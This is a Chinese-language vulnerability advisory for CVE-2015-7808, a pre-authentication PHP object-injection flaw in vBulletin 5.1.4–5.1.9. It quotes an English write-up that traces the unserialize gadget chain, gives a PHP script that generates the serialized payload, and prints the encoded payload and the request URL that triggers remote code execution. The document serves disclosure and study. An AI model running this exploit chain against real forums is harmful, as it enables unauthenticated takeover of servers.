vBulletin decodeArguments()方法unserialize()函数远程php代码

vBulletin decodeArguments()方法unserialize()函数远程php代码执行漏洞(CVE-2015-7808)


发布日期:2015-11-10
更新日期:2015-11-12

受影响系统:

VBulletin VBulletin 5.1.4 - 5.1.9

描述:


CVE(CAN) ID: CVE-2015-7808

vBulletin是用PHP编写的可定制的论坛程序套件。

vBulletin 5.1.4-5.1.9版本,某些内部API处理Ajax请求时,未验证其来源,这可使攻击者无需身份验证调用继承自vB_Api及/core/vb/api/下任意类的任意公共方法,其中decodeArguments()方法内的unserialize()函数存在安全漏洞,可使攻击者在‘$args’变量中注入精心构造的任意对象,远程执行php代码,获取服务器权限。

<*来源:Netanel Rubin
  *>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

vBulletin 5 PreAuth RCE writeup
by @_cutz

As came to my attention a guy named Coldzer0 is selling a vBulletin RCE expoit on http://0day.today.
In his video he exploited several vBulletin boards while surfing on Google... This ended in the vBulletin main forum being pwned on monday (11/02/15).

vBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php:
    public function decodeArguments($arguments)
    {
        if ($args = @unserialize($arguments))
        {
            $result = '';

            foreach ($args AS $varname => $value)
            {
                $result .= $varname;

Apart from the obvious unserialize() not much else happening there -- luckily we have in /core/vb/db/result.php:
class vB_dB_Result implements Iterator
{
...
    public function rewind()
    {
        //no need to rerun the query if we are at the beginning of the recordset.
        if ($this->bof)
        {
            return;
        }

        if ($this->recordset)
        {
            $this->db->free_result($this->recordset);
        }

rewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:
abstract class vB_Database
{
...   
    function free_result($queryresult)
    {
        $this->sql = '';
        return @$this->functions['free_result']($queryresult);
    }

Which gives easy RCE. Setup objects accordingly:
$ php << 'eof'
< ?php
class vB_Database {
      public $functions = array();

      public function __construct()
      {
              $this->functions['free_result'] = 'phpinfo';
      }
}

class vB_dB_Result {
      protected $db;
      protected $recordset;

      public function __construct()
      {
              $this->db = new vB_Database();
              $this->recordset = 1;
      }
}

print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D

Just surf to:
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

The fix was just replacing the unserialize() with json_decode(). Btw this bug has been sitting in vBulletin for more than three years.
-- cutz

建议:


厂商补丁:

VBulletin
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.vbulletin.com/

参考:
http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq
https://www.owasp.org/index.php/PHP_Object_Injection
http://php.net/manual/en/class.iterator.php
http://www.php.net/manual/en/function.autoload.php
http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/
http://www.sebug.net/vuldb/ssvid-89707

php

相关推荐